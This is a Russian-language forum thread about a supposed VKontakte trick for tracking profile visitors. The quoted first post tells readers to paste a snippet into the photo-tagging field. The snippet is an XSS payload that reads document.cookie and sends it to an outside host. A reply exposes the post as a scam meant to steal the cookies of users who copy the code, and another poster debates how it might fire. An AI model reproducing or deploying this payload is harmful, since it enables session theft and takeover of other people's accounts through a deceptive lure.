ANTICHAT - Показать сообщение отдельно - Некоторые баги vkontakte.ru

Цитата:

Сообщение от *D1VER

Способ следить за теми кто заходит на вашу страничку вкантакте...

Делаем следующее:

Загружаем любую фотку к себе в фотоальбом ...

Заходим в этот альбом и на той фотке которую загрузили нажимаем кнопачку [Отметить человека]

Вылезает окошко с пустым полем и списком ваших друзей которых вы можете отметить...

Дальше пишем такой код в пустое поле и нажимаем [Добавить]

Затем Ставим эту фотку в качестве Аватарки к себе на страничку и ждём Сообщений о том кто посещал вашу страничку в недельный период.

код таков:

<img src=javasсript:x=document.сооkiе;s="http://4you.h2m.ru/images/?pic=1&q=";out=s+x; document.location.href=out;>

Elfxb rekvtuf [fwrths )))

Развод это.
XSS действиетельно рабочая, но срабатывает ток тогда когда ты отмечеш человека, после обновления паги XSS уже не работает. Естсетственно поставить на аватарку картинку с отметкой нельзя, и тут расчет на то что некоторые пользователи тупа скопируют код с поста автора, и впишубе себе на странице, а автор получит куки. Причем автор даж не удосужился нормально сформировать код, чтоб он работал во всех браузерах, и как результат XSS не у всех пашет из за кривизны кода.
Вобщем это просто развод, а *D1VER забаньте наxyй\

Цитата:

Сообщение от Stalk

Блина а фига оно должно пахать картинкой?
Отметить, поставить ссылку, а потом ету фотку на обложку фотоальбома, тогда будет прогружатся, когда ктото втыкает страничку. Ну какого оно будет пахать если отметив снифер ты просто ето делаеш на фотке в контакте, фотка не меняется никак и вобще как можно простой фоткой на сниффер посылать, если она даже не загружена на свой сервер...

ваше xyйню какуюто отписал